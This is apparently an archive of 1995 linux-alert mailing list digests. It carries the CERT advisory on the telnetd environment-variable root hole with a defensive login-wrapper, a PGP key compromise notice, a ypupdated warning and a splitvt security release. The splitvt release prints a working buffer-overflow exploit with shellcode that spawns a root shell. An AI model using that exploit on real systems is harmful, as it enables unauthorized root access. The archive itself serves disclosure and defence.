Advisory CA-95:14 - Telnetd Environment Vulnerability [Note to moderator: Feel free to modify this message in any way you see fit. I just thought that fixes for this should be sent to or announced on linux-alert or comp.os.linux.announce as soon as possible.] This vulnerability affects Linux as well as many other platforms. Either the full advisory or at least some subset of it should be sent out to linux-alert. To summarize, telnet allows you to pass environmental options to telnetd which sets them before calling login. This allows LD_LIBRARY_PATH and other variables used by ld.so to be set before login is called. Because login is being called by a process running as root (rather than being a suid root executable) the LD_LIBRARY_PATH variable may be set, causing an alternate version of libc to be called by login as root. Using this vulnerability, any user can gain root access to a machine. A local account is not required for machines with a networked file system (such as AFS or NFS) or a writable ftp directory. The CERT announcement follows: ============================================================================= CA-95:14 CERT Advisory November 1, 1995 Telnetd Environment Vulnerability - ----------------------------------------------------------------------------- The CERT Coordination Center has been made aware of a vulnerability with some telnet daemons. The daemons affected are those that support RFC 1408 or RFC 1572, both titled "Telnet Environment Option," running on systems that also support shared object libraries. To determine if your system is potentially vulnerable, refer to the information we have received from vendors which is summarized in Section III below; details are in Appendix A and reproduced in the CA-95:14.README file. Note that if you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. If your vendor is not listed, you will need to determine if your system may be vulnerable. First, determine if your telnet daemon is RFC 1408/1572 compliant. One indication that it is compliant is if your telnet(1) program supports the "environ" command or your telnetd(8) program supports the ENVIRON or NEW-ENVIRON options. Unless you are certain that your telnet daemon is not RFC 1408/1572 compliant, you may wish to assume it is to be safe. Second, determine if your system supports shared libraries. To do this, consult the ld(1) manual page. If it describes dynamic or shared objects, your system probably supports shared object libraries. A system is potentially vulnerable if the telnet daemon supports RFC 1408/RFC 1572 and the system supports shared object libraries. We recommend that you follow your vendor's directions for addressing this vulnerability. Until you can install a patch, we recommend using the workaround in Appendix B below. If you have previously installed David Borman's telnet package on your system, we recommend that you obtain the current version of telnet (see Section III.C). As we receive additional information relating to this advisory, we will place it in: ftp://info.cert.org/pub/cert_advisories/CA-95:14.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description Some telnet daemons support RFC 1408 or RFC 1572, both titled "Telnet Environment Option." This extension to telnet provides the ability to transfer environment variables from one system to another. If the remote or targeted system, the one to which the telnet is connecting, is running an RFC 1408/RFC 1572-compliant telnet daemon *and* the targeted system also supports shared object libraries, then it may be possible to transfer environment variables that influence the login program called by the telnet daemon. By influencing that targeted system, a user may be able to bypass the normal login and authentication scheme and may become root on that system. Users with accounts on the targeted system can exploit this vulnerability. Users without accounts on that system can also exploit this vulnerability if they are first able to deposit an altered shared object library onto the targeted system. Therefore, a system may be vulnerable to users with and without local accounts. Not all systems that run an RFC 1408/RFC 1572-compliant telnet daemon and support shared object libraries are vulnerable. Some vendors have changed the trust model such that environment variables provided by the telnet daemon are not trusted and therefore are not used by the login program. Section III contains a summary of information vendors have reported as of the date of this advisory. II. Impact Local and remote users can become root on the targeted system. III. Solution The general solution to this problem is to replace the telnet daemon with one that changes the environment given to the login program. We recommend that you install a patch from your vendor if possible. If this is not possible, we recommend using the workaround in Appendix B until you can install a patch. Finally, if you have previously installed Mr. Borman's telnet package, see Section C for how to get a new version that fixes the vulnerability. A. Vendor Patches Below is a summary of the vendors listed in the current version of the CA-95:14.README file, and the status they have provided. More complete information, including how to obtain patches, is provided in Appendix A of this advisory and reproduced in the README file. We will update the README file as we receive more information from vendors. If your vendor's name is not on this list, please contact the vendor directly. REMINDER: If you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. Vendor or Source Status ---------------- ------------ Apple Computer not vulnerable Berkeley Software Design not vulnerable Cray Research not vulnerable CYGNUS cns-95q1 - vulnerable cns-95q4 - not vulnerable Data General not vulnerable Digital Equipment Ultrix - not vulnerable OSF/1 - vulnerable FreeBSD vulnerable Harris not vulnerable Hewlett-Packard not vulnerable Linux Debian - vulnerable Red Hat - vulnerable Slackware - appears vulnerable MIT-distributed for Athena vulnerable NetBSD 1.0 - vulnerable current - not vulnerable NEC vulnerable Open Software Foundation OSF/1 version 1.3 not vulnerable OpenVision OpenV*Secure 1.2 - vulnerable SCO not vulnerable SGI 5.2, 5.3, 6.0.1, 6.1 - vulnerable Sony Corp. NEWS-OS 6.x - not vulnerable B. Workaround Until you can install a patch from your vendor, you can use the workaround provided in Appendix B. C. If you have installed a previous version of Mr. Borman's telnet package, note that he has fixed this problem in the version available at the following location: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z MD5 checksum 2e14879a5b0aa6dd855a17fa8a3086cf - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Eric Halil of AUSCERT, Wolfgang Ley of DFNCERT, and Sam Hartman of the MIT Kerberos Development team for their support in responding to this problem. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the email be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT advisories and bulletins are posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. Past CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. Copyright 1995 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. .............................................................................. Appendix A: Vendor Information Current as of November 1, 1995 See CA-95.14.README for updated information Below is information we have received from vendors. If you do not see your vendor's name below, contact the vendor directly for information. Apple Computer, Inc. - -------------------- Apple's A/UX is not vulnerable. Berkeley Software Design, Inc. - ----------------------------- BSDI's BSD/OS is not vulnerable. Cray Research, Inc. - ------------------- Cray's UNICOS is not vulnerable. CYGNUS Network Security V4 Free Network Release - ---------------------------------------------------- cns-95q1 is vulnerable. cns-95q4 is not vulnerable. Customers can use the following URL to obtain the patch: http://www.cygnus.com/data/cns/telnetdpatch.html If customers are unable to obtain the patch in this manner or have any questions, send e-mail to [email protected]/ Note that while the URL and patch are already available, there is no link to the page yet. We will add a link once the announcement has been made. Data General Corporation - ------------------------ Data General believes the DG/UX operating system to be NOT vulnerable to this problem. This includes all supported releases, DG/UX 5.4 Release 3.00, DG/UX 5.4 Release 3.10, DG/UX Release 4.10 and all related Trusted DG/UX releases. Specifically, telnetd shipped in DG/UX does not support environment options and does not support RFC 1572. Digital Equipment Corporation - ----------------------------- Digital's OSF/1: vulnerable Digital's ULTRIX: not vulnerable Digital has corrected this potential vulnerability. Patches containing new images for Digital's OSF/1 platforms are being provided to your normal Digital Support channels beginning October 31 (U.S. time). The kits may be identified as ECO SSRT0367 (telnetd) for DEC OSF/1 V2.0 thru V3.2c This potential vulnerability is not present on Digital's ULTRIX systems. Digital distribution of this announcement will be via AES services (DIA, DSNlink FLASH etc.). Digital Equipment Corporation strongly urges Customers to upgrade to a minimum of DEC OSF/1 V3.0, then apply this patch. FreeBSD - ------- Vulnerable. A patch has been applied to the current development FreeBSD source tree which is not yet released. This patch is slightly modified compared to posted one, i.e. only variables which affects FreeBSD are disabled. It is telnetd patch, not a login wrapper. For the official patch, location please contact: Jordan Hubbard Harris - ------ Harris Computer Systems Corporation's Night Hawk is not vulnerable. Hewlett-Packard Company - ----------------------- HP/UX is not vulnerable. Linux (freely available software; not a vendor) - ----- Debian GNU/Linux (From "Peter Tobias" ): The current version of the Debian GNU/Linux distribution (released 10/27/95) is not vulnerable anymore. All Debian Installations that use a netstd package version prior to v1.21-1 are vulnerable (telnetd is part of the netstd package). netstd-1.21-1 and above are ok. Patches are available. Peter fixed the bug last week and uploaded the fixed version to our ftp site (ftp.debian.org). Binaries, sources and the diffs against the bsd telnetd can be found there. The URL for the new binary package is: ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb and the sources and the diff against the bsd telnetd can be found at: ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.tar.gz ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.diff.gz Red Hat Linux (From Erik Troan ): Vulnerable. A fix is now available at: ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm It will also be fixed in the upcoming Red Hat 2.1 release. Slackware Linux (Alan Cox ): The telnetd distributed with Slackware Linux appears to be vulnerable, although it has not been verified. MIT-distributed Athena telnet/telnet95 - -------------------------------------- Vulnerable. Patches available in: ftp://aeneas.mit.edu/pub/kerberos/telnet-patch/ beta4-3.patch is the patch versus the Beta 4 patchlevel 3 distribution of Kerberos v5. beta5.patch is the patch versus the Beta 5 distribution of Kerberos V5. Both patches have been PGP signed by Ted Ts'o using detached signatures (beta4-3.patch.sig and beta5.patch.sig). NetBSD - ------ NetBSD 1.0 (the last official release) is vulnerable; NetBSD 1.1 (due out in mid-November) will not be. NetBSD-current is not vulnerable, as of a week or so ago. Patches: A source form patch has been developed. A core team member will have to make source and binary patches available and provide a location for it. The login-wrapper given in the advisory can be compiled with NetBSD with: cc -o login-wrapper login-wrapper.c NEC Corporation - --------------- Some NEC systems are vulnerable. Here is their vulnerability matrix: OS Version Status - ------------------ ------------ ------------------------------------- EWS-UX/V(Rel4.0) R1.x - R6.x not vulnerable EWS-UX/V(Rel4.2) R7.x - R10.x not vulnerable EWS-UX/V(Rel4.2MP) R10.x vulnerable patch available by the end of Nov, 1995 UP-UX/V R2.x - R4.x not vulnerable UP-UX/V(Rel4.2MP) R5.x - R7.x vulnerable patch available by the end of Nov, 1995 UX/4800 R11.x vulnerable patch available by the end of Nov, 1995 - -------------------------------------------------------------------------- Contacts for further information: E-mail:[email protected] Open Software Foundation - ------------------------ OSF/1 version 1.3 is not vulnerable. OpenVision - ---------- This is from: Barry Jaspan : OpenVision has a patch for the telnetd in OpenV*Secure 1.2 and will contact its customers directly. SCO - --- Not believed to be vulnerable. Silicon Graphics - ---------------- IRIX 5.2, 5.3, 6.0.1, and 6.1 are vulnerable. SGI acknowledges the telnetd vulnerability reported by MIT and is currently investigating. No further information is available at this time. As further information becomes available, additional advisories will be issued. SGI Security Information/Contacts: For obtaining security information, patches or assistance, please contact your SGI support provider. If there are questions about this document, email can be sent to [email protected] . For reporting *NEW* SGI security issues, email can be sent to [email protected]. Sony Corporation - ---------------- Sony's NEWS-OS 6.x is not vulnerable. .............................................................................. Appendix B: login-wrapper Workaround The login-wrapper program shown below is meant to be executed just before the distributed login program. The wrapper cleans specific variables from the environment before invoking the distributed login program. - ------------------------cut here--8<------------------------ /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } - ------------------------cut here--8<------------------------ The following two examples show how to compile the login-wrapper for SGI's IRIX 5.3 and FreeBSD 2.x systems. The examples move the distributed login program to a new location and install the wrapper in the standard location. When executed, the wrapper first cleanses the environment and then calls the relocated, distributed login program. Note 1: The wrapper must be compiled statically. On SGI's IRIX system, compiling statically requires that the non-shared versions of libraries be installed. Consult your system documentation to determine how to do this. Note 2: You may need to change the _PATH_LOGIN variable to define where the real login program resides on your system. On some systems, login resides in /usr/bin/login. Compiling for IRIX 5.3 - ---------------------- # uname -a IRIX test 5.3 11091812 IP22 mips # /bin/ls -lL /bin/login - -rwsr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login # /bin/cc -non_shared -O login-wrapper.c -o login-wrapper # /bin/mv /bin/login /bin/login.real # /bin/chmod 755 /bin/login.real # /bin/mv login-wrapper /bin/login # /bin/chmod 4755 /bin/login # /bin/chown root /bin/login # /bin/chgrp sys /bin/login # /bin/ls -lL /bin/login /bin/login.real - -rwxr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login.real - -rwsr-xr-x 1 root sys 213568 Oct 30 08:42 /bin/login Compiling for FreeBSD 2.x - ------------------------- # /bin/ls -lg /usr/bin/login - -r-sr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login # /usr/bin/cc -D_PATH_LOGIN=\"/usr/bin/login.real\" -static \ -O login-wrapper.c -o login-wrapper # /bin/mv /usr/bin/login /usr/bin/login.real # /bin/chmod 555 /usr/bin/login.real # /bin/mv login-wrapper /usr/bin/login # /bin/chmod 4555 /usr/bin/login # /usr/sbin/chown root.bin /usr/bin/login # /bin/ls -lg /usr/bin/login /usr/bin/login.real - -r-sr-xr-x 1 root bin 24885 Oct 25 22:14 /usr/bin/login - -r-xr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login.real ------------------------------ End of linux-alert-digest V1 #10 ******************************** linux-alert-digest/1995/v01.n011100664 1767 1767 11006 6051602621 15274 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #11 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Monday, 13 November 1995 Volume 01 : Number 011 Telnetd Environment Vulnerability Re: BoS: Telnetd Environment Vulnerability Apology for errant post. ---------------------------------------------------------------------- From: Cy Schubert - BCSC Open Systems Group Date: Thu, 02 Nov 95 16:58:43 -0800 Subject: Telnetd Environment Vulnerability There is a serious problem with various telnetd daemons which will cause /bin/login to give a root shell. I haven't had a chance to test this on my Linux boxes at home, however it does fix the problem under DEC's OSF/1. I managed to find this wrapper in CERT Advisory CA-95:14. /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." ------------------------------ From: [email protected] (Peter da Silva) Date: Mon, 6 Nov 1995 10:03:04 -0600 (CST) Subject: Re: BoS: Telnetd Environment Vulnerability > for (p1 = p2 = envp; *p1; p1++) { > if (strncmp(*p1, "LD_", 3) != 0 && > strncmp(*p1, "_RLD", 4) != 0 && > strncmp(*p1, "LIBPATH=", 8) != 0 && > strncmp(*p1, "ELF_LD_", 7) != 0 && > strncmp(*p1, "AOUT_LD_", 8) != 0 && > strncmp(*p1, "IFS=", 4) != 0 ) { > *p2++ = *p1; > } > } Wouldn't it be safer to do something like: if(strncmp(*p1, "TERM=", 5) == 0 || strncmp(*p1, "DISPLAY=", 8) == 0) *p2++ = *p1; Is there any reason to copy the environment over to a possibly completely different architecture? There's only a few variables that really need to be transferred... ------------------------------ From: Jeff Uphoff Date: Wed, 8 Nov 1995 19:25:00 -0500 Subject: Apology for errant post. - -----BEGIN PGP SIGNED MESSAGE----- My apologies to everyone for my forward of the recent short post from Peter da Silva to the linux-alert list; I meant to redirect that message to the linux-security list since it was a followup to a linux-alert post. Mea culpa. In the future, please direct all replies/followups to linux-alert posts over to the linux-security list; linux-alert is not meant to be a discussion group. This helps keep my confusion level down... - - --Up. - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMKFKTrxzFUpUTHgFAQG+7QQAiD3z5tWKQrqwmQuA0kZ95QpAhzllGSm6 T262nAwQp3r1FoHKteAAghRPw5MB3CSmTEaJCE2JdM/sM+Hxgdp+iEiun15U26o2 IQBdAKUWlx0t/oQIuaUV0qdaFRUf2VAOyXjZSgHxWOmdZTnpgxTHs2FqvLNt4LWD +kwWCTSbqBI= =ACqY - -----END PGP SIGNATURE----- - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ End of linux-alert-digest V1 #11 ******************************** linux-alert-digest/1995/v01.n012100664 1767 1767 21175 6062517022 15307 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #12 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Sunday, 10 December 1995 Volume 01 : Number 012 EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE 'ypupdated' hole, system crackers. ---------------------------------------------------------------------- From: "Alexander O. Yuriev" Date: Wed, 29 Nov 1995 21:56:32 -0500 (EST) Subject: EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE - -----BEGIN PGP SIGNED MESSAGE----- ONE OF LINUX SECURITY FAQ PGP KEYS HAD BEEN COMPROMISED. EMERGENCY LINUX SECURITY FAQ UPDATE 22:13:07 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security ============================================================================= Jeff Uphoff , co-moderator of linux-security and linux-alert mailing lists had issued a key revocation certificate for the the PGP key pub 1024/544C7805 1994/07/17 which could be used to sign Linux Security FAQ Updates or other security related information. From Nov 29, 1995 21:22:07 EST everything signed or encrypted using this key is considered to be compromised. Please notify Alexander O. Yuriev , Olaf Kirch using PGP encrypted email if you receive compromised information. The PGP public keys of people involved in Linux security will be available from the following URL: ftp://bach.cis.temple.edu/pub/Linux/Security/PGP-KEYS.pgp When Jeff Uphoff's new key will be available, it will be added to the the PGP-KEYS.pgp. Please avoid emailing sensitive information to Jeff Uphoff in the non-encrypted form. As the result of the attack NRAO is not directly connected to Internet. We are working on creating an emergency replacement archive for linux-security and linux-alert mailing lists, as well as a backup system to handle the mailing list while NRAO is being cleaned. The following is the extract from message sent by Jeff Uphoff: **************************************************************************** - - From [email protected] Nov 29 21:06:25 1995 Date: Wed, 29 Nov 1995 20:47:01 -0500 From: Jeff Uphoff To: alex%[email protected] Subject: PGP key compromise. [I'm sending this to the people on my key-ring, i.e. those with which I occasionally or frequently exchange PGP encrypted e-mail.] Both my PGP key-ring (possible) and my pass-phrase (definite) have been compromised. Attached to this message is a key-revocation certificate. Please pass it on to as many people as you can think of that might have my current key. I cannot sign this message with a recognizable key now, but the block speaks for itself once you feed it through PGP. Robert Millner can verify the compromise by telephone at 540-961-4321, as can I at 804-296-0208. Details of the compromise will be released later to those interested parties that have not been following this particular series of events. (The U.S. FBI is now involved.) NRAO headquarters is no longer interactively reachable from the Internet, though we are exchanging e-mail as long as we can safely maintain the link. - - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 mQCNAi4pfSsAAAEEAORGNqXZcyNyOiX90Da8pGpNRs1dYPOc+m8MUfxwXWDEPo7J 6MMVZMhKccFeCvGBaVaM8xJ3RrmbQVpVzJlr+FT1UHIvUHNKbWt882HqPOT/Zj6n Zuegs28W9fPdsn4Zpkh52EjPuaMaVGfEe2/J3OhusscFn4CRMbxzFUpUTHgFAAUR iQCVAwUgML0F2bxzFUpUTHgFAQFr/QP/WdLFrOdE59joeUrfMJdx//9raITsngFY NOHfrqNKIpNxT/pgJKZfYdLEk7YewaLUvEqjtgWMScU3TWfppbZzffrwh1KekMmW zhEU78O86NEa3Jl2vBgLnK3UrFSBB38ksjNrqSUu+G5QDoyur2iiF/sMa9S+c+ba ep+fqSkBUBi0JEplZmZyZXkgQS4gVXBob2ZmIDxqdXBob2ZmQG5yYW8uZWR1PokA lQMFEDC7GdGMRVM9rfPulQEBCt4D/jaE8QHrMtla0pdV1J2NSN9P0QPWyWalTe5P oENffVpvykTCuiOD9yb6Jy4sHPhmBsEgrXpU4OKWH9T9DWDEFI0UIoLo7IvO8kJ8 cwPB8fayXhslOA4Un/8fx3iDxOR8uFJxdr1F8Ga0q6XGfsQ2Ou07oBK3z8oqr5Wx soZbTj6MiQCVAwUQMLsY850afeTWLUSJAQET6AP+M/Ap8MzXwzD1BZ6rVU4TO5zN Rxgqw+7lhVX+BKhR2GAbh5/htqTiZAsD2vSBJakGT7esk4dUaGQCPUCm/n/3rqm6 PWX/dDKEtzAEebCHcD+qRyOQFmKAW5BUPHWW1lmt6xn/kSIPq7XHjz6B43RZWGsB hQ9EIZUCNZIxo+ZLXzCJAJUCBRAvRxH14WdUde/jR60BATZhBADQCYztGmrnTFYQ hual0Vf0Q26D7+bnYWU4mS1RzfQcd5OME1RBwN5wMcSZop9FNXqYnDI5Rz+3kH5l KmaW7dPCJiqPu17EBJ+a12pwhJyqoMSXwIOejYHzb3gGt+xDmL/WtiozVwXSLW1N At03Cx6h3HaWe/y3lGsrJk6YtdMcqYkAlQMFEC6lcClqKWzjEbfWeQEBpmsD/RGv bsFfjw7yVJWeyk1YwtoAlbeHvPX7+Rk+sgZXM8Zv9Kb4iKn5nYMkpnQlskLLVclW 3sYcvD81dhJgTirAykekeNsX/Ut5gR8zC9e/eAr2VtfzzqmdMazLmB+V/6B5TQ+Q SCsenf9z1oVWxsRxPfgITH3gGoR3ic4pAL8ECMb9iQCVAwUQLo3C0mGddyp8Ve4F AQGBTwQAxnEi1udeO193kNqBGk2rgZZUmzpW4iR8FpHcAkvXZIrkph2mPsb6nE1J 1Z3LTMgu1RvJAiXmiCDbvLGd0mMIuZpYDmbwigXwF3FWJ3vcnCeZJdMIotFzLpjJ 3XFpiL3qxW0SsD18i6FOKlXSwFWjRwLhKu15y0NFbvgtjnGU/NyJAJUCBRAuQQdf QJYyJ+SHEeUBASUkA/9oVOSU22auv5UwdBCUIH6xJawjv5rq8OjfAmmKPgMYQW/G UE49Q0OG3EWy9X27VBJNVY9UJI45Tabr71ilxHq6GDrkky0CS1yXk/b3kw4i/slI fvwhcOJFIgvKfyW3Z/pfkdEcCaifPazt2r4styS0Q6EZjmEJVUo5UcIgn9UA3okA lQIFEC4qwqC8cxVKVEx4BQEB13ED/1+LS4AuKZLW2jud4mrEPbHeW5VZ90bjQDWK 5TD0Bb2q6IzEUwH2E75i0TnTXhZKjKtro96q7EW6qoFpvZQ0d0a2o5ydAyb8SERW ZzaNhFCWS6+I0BpW9nG2X/YfUESoHUzITa2KGjEaZyUa1Qn2Px+iy//FET61imy8 R6HzvW6TiQCVAgUQLiq/EJ7VmOXAmG3tAQH/dgP+P0MiEdfjdwGG3grzSeGxQVT1 0ZGKwxUW8MnekblHqAeTXq9gzOtiLho7zrJrFFwHbcc9zL6ZzzVEcHrZM9lcR3Ey ZvtyYtmnvJIl/kIh2Yr/l5H0sXImw2Ik31or4kNHpOtf0HYaieUIwW/GuV7S0LV4 2FRkPiXD9SXwxYDfeGi0KUplZmZyZXkgQS4gVXBob2ZmIDxqZWZmLnVwaG9mZkBs aW51eC5vcmc+ =SL0I - - -----END PGP PUBLIC KEY BLOCK----- ***************************************************************** - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBML0bT4xFUz2t8+6VAQHFBgP+Pf19mAJhh0zM8OhctpN4NyewjjHlhj9b kbVpbOwTpVGWqMEKTNCj6qP+Wl9cbp910WAOxsWrLN6G1u35tBQ95SWjKz8bhLup D/U3VMyc1TNgsYwRoQhjMVkl3g9+mzpXIyqmVGUANLPVtTbxBe3lJlyXpvBU8iwd VnG4+bF31EU= =tYmz - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: Jeff Uphoff Date: Sun, 3 Dec 1995 19:28:20 -0500 Subject: 'ypupdated' hole, system crackers. There is a hole, apparently quite serious, in the NIS program 'ypupdated'. CERT, among others, has confirmed the existence of a hole, and it appears to be under active exploitation by crackers who use it as one of many methods to illicitly gain privileged access to systems/sites. If you are running it on any of your systems, you should probably kill it until this issue is resolved/patched. NIS server systems running SunOS 4.1.x variants seem to be the favored target systems in this current series of attacks. Also, please check the directory /usr/share/src/sun/sunview1/examples/fonts for signs of cracker tools on any Suns that you administrate; this appears to be a favorite area for hiding "kits" and sniffers in a currently-active attack pattern. If you find anything in that area (even the existence of the "fonts" sub-directory should be considered suspicious), please immediately dump the area to tape and contact [email protected] and/or [email protected]; it is likely that the system has been badly compromised. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ End of linux-alert-digest V1 #12 ******************************** linux-alert-digest/1995/v01.n013100664 1767 1767 16774 6065746420 15332 0ustar majdommajdomFrom: owner-linux-alert-digest To: [email protected] Subject: linux-alert-digest V1 #13 Reply-To: linux-security Errors-To: owner-linux-alert-digest Precedence: bulk linux-alert-digest Wednesday, 20 December 1995 Volume 01 : Number 013 Avalon Release SECURITY: Announcing Splitvt 1.6.3 ---------------------------------------------------------------------- From: root Date: Sun, 3 Dec 1995 22:52:37 -0700 (MST) Subject: Avalon Release [mod: This should have been approved to linux-alert a few days ago, but it somehow escaped me. I'm very sorry for the delay. At least Slackware 3.0 seems affected (but it doesn't seem to work for all users alike). Red Hat doesn't have splitvt; the status of other systems is not known. The simplest fix is to remove the setuid bit from splitvt. --okir] Avalon Security Research Release 1.3 (splitvt) Affected Program: splitvt(1) Affected Operating Systems: Linux 2-3.X Exploitation Result: Local users can obtain superuser privelages. Bug Synopsis: A stack overflow exists via user defined unbounds checked user supplied data sent to a sprintf(). Syntax: crimson~$ cc -o sp sp.c crimson~$ sp bash$ sp bash$ splitvt bash# whoami root Credit: Full credit for this bug (both the research and the code) goes to Dave G. & Vic M. Any questions should be directed to [email protected] . - ---------------------------------------------------------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } ------------------------------ From: Sam Lantinga Date: Wed, 13 Dec 1995 17:56:56 PST Subject: SECURITY: Announcing Splitvt 1.6.3 [Mod: This is a followup to the initial alert on splitvt; it's an announcement from splitvt's author, reposted here from the bugtraq mailing list. Since it's a forward from another list, I've not PGP signed it myself. --Jeff] Announcing the newest version of splitvt! SECURITY ALERT!!! splitvt versions lower than 1.6.3 are known to have a security hole allowing a user to gain ROOT access on some systems! If you have a version lower than 1.6.3 _please_ remove the set-uid bit on your current version, and upgrade to the newer version as soon as possible. ("splitvt -version" will tell you what version you are running) The set-uid bit is only for updating the utmp database and for changing ownership of its pseudo-terminals. It is not necessary for splitvt's operation. The latest version is available via anonymous ftp from dandelion.ceres.ca.gov in the /pub/splitvt directory. The output of md5sum on the TAR file splitvt-1.6.3.tar is: eec2fe2c5b4a3958261197905a9d9c81 splitvt-1.6.3.tar What it is: Splitvt is a program that splits any vt100 compatible screen into two - an upper and lower window in which you can run two programs at the same time. Splitvt differs from screen in that while screen gives you multiple virtual screens, splitvt splits your screen into two fully visible windows. You can even use 